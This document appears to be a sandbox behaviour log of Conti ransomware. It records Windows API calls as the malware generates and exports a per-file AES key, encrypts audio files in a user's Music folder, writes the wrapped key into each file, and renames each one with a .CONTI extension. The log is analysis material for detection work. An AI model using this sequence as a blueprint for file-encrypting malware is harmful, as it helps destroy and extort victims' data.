	[0141.079] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1d51, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1d60) returned 1
	[0141.079] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.079] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1d60, lpOverlapped=0x0) returned 1
	[0141.079] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.079] WriteFile (in: hFile=0x43c, lpBuffer=0x6b45770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b45770*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0141.079] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.079] CloseHandle (hObject=0x43c) returned 1
	[0141.079] GetProcessHeap () returned 0x1720000
	[0141.079] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.079] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a") returned="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a"
	[0141.079] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a.CONTI"
	[0141.080] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\kfwpt7otp1knej8ttu.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\kfwpt7otp1knej8ttu.m4a.conti")) returned 1
	[0141.080] GetProcessHeap () returned 0x1720000
	[0141.080] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.080] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0141.080] GetProcessHeap () returned 0x1720000
	[0141.080] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb8e8 | out: hHeap=0x1720000) returned 1
	[0141.080] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0141.080] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47090 | out: phKey=0x6b47090*=0x6b7f0b8) returned 1
	[0141.080] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47094, pdwDataLen=0x4e7fc24 | out: pbData=0x6b47094*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0141.081] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\q577ok50-1ywlz9rm-.m4a")) returned 0x20
	[0141.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\q577ok50-1ywlz9rm-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0141.081] GetLastError () returned 0x0
	[0141.081] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=78749) returned 1
	[0141.081] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1339d
	[0141.081] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.082] SetEndOfFile (hFile=0x43c) returned 1
	[0141.082] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.082] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.082] WriteFile (in: hFile=0x43c, lpBuffer=0x6b47094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b47094*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.088] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.088] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1339d, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1339d, lpOverlapped=0x0) returned 1
	[0141.089] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1339d, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x133a0) returned 1
	[0141.089] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.089] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x133a0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x133a0, lpOverlapped=0x0) returned 1
	[0141.089] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.089] WriteFile (in: hFile=0x43c, lpBuffer=0x6b47088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b47088*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0141.089] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.090] CloseHandle (hObject=0x43c) returned 1
	[0141.090] GetProcessHeap () returned 0x1720000
	[0141.090] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.090] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a") returned="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a"
	[0141.090] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a.CONTI"
	[0141.090] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\q577ok50-1ywlz9rm-.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\q577oK50-1yWLZ9RM-.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\q577ok50-1ywlz9rm-.m4a.conti")) returned 1
	[0141.090] GetProcessHeap () returned 0x1720000
	[0141.090] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.090] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0141.090] GetProcessHeap () returned 0x1720000
	[0141.090] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb950 | out: hHeap=0x1720000) returned 1
	[0141.090] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0141.090] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47768 | out: phKey=0x6b47768*=0x6b7f0b8) returned 1
	[0141.090] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4776c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4776c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0141.091] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\6kn_sbq.mp3")) returned 0x20
	[0141.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\6kn_sbq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0141.091] GetLastError () returned 0x0
	[0141.091] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=6320) returned 1
	[0141.092] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18b0
	[0141.092] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.092] SetEndOfFile (hFile=0x43c) returned 1
	[0141.092] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.092] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.092] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4776c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4776c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.098] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.098] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x18b0, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x18b0, lpOverlapped=0x0) returned 1
	[0141.098] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x18b0, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x18c0) returned 1
	[0141.099] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.099] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x18c0, lpOverlapped=0x0) returned 1
	[0141.099] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.099] WriteFile (in: hFile=0x43c, lpBuffer=0x6b47760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b47760*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0141.099] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.099] CloseHandle (hObject=0x43c) returned 1
	[0141.099] GetProcessHeap () returned 0x1720000
	[0141.099] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.099] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3"
	[0141.099] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3.CONTI"
	[0141.099] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\6kn_sbq.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\6Kn_Sbq.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\6kn_sbq.mp3.conti")) returned 1
	[0141.100] GetProcessHeap () returned 0x1720000
	[0141.100] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.100] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0141.100] GetProcessHeap () returned 0x1720000
	[0141.100] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cba88 | out: hHeap=0x1720000) returned 1
	[0141.100] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0141.100] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x6b7f0b8) returned 1
	[0141.100] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x4e7fc24 | out: pbData=0x6b472dc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0141.101] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\4_2h rdhaqd.m4a")) returned 0x20
	[0141.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\4_2h rdhaqd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0141.101] GetLastError () returned 0x0
	[0141.101] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=92924) returned 1
	[0141.101] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16afc
	[0141.101] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.101] SetEndOfFile (hFile=0x43c) returned 1
	[0141.102] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.102] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.102] WriteFile (in: hFile=0x43c, lpBuffer=0x6b472dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b472dc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.107] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.108] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x16afc, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x16afc, lpOverlapped=0x0) returned 1
	[0141.109] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x16afc, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x16b00) returned 1
	[0141.109] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.109] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x16b00, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x16b00, lpOverlapped=0x0) returned 1
	[0141.110] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.110] WriteFile (in: hFile=0x43c, lpBuffer=0x6b472d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b472d0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0141.110] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.110] CloseHandle (hObject=0x43c) returned 1
	[0141.110] GetProcessHeap () returned 0x1720000
	[0141.110] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.110] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a"
	[0141.110] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a.CONTI"
	[0141.110] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\4_2h rdhaqd.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\4_2h rDHAQD.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\4_2h rdhaqd.m4a.conti")) returned 1
	[0141.110] GetProcessHeap () returned 0x1720000
	[0141.110] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.110] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0141.110] GetProcessHeap () returned 0x1720000
	[0141.111] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bf90 | out: hHeap=0x1720000) returned 1
	[0141.111] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0141.111] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x6b7f0b8) returned 1
	[0141.111] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x4e7fc24 | out: pbData=0x6b462e4*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0141.111] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\et-sa7r3qvia.wav")) returned 0x20
	[0141.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\et-sa7r3qvia.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0141.112] GetLastError () returned 0x0
	[0141.112] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=44628) returned 1
	[0141.112] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xae54
	[0141.112] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.112] SetEndOfFile (hFile=0x43c) returned 1
	[0141.112] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.112] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.112] WriteFile (in: hFile=0x43c, lpBuffer=0x6b462e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b462e4*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.118] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.118] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0xae54, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0xae54, lpOverlapped=0x0) returned 1
	[0141.122] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xae54, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xae60) returned 1
	[0141.122] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.122] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0xae60, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0xae60, lpOverlapped=0x0) returned 1
	[0141.122] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.122] WriteFile (in: hFile=0x43c, lpBuffer=0x6b462d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b462d8*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0141.122] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.122] CloseHandle (hObject=0x43c) returned 1
	[0141.123] GetProcessHeap () returned 0x1720000
	[0141.123] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.123] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav"
	[0141.123] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav.CONTI"
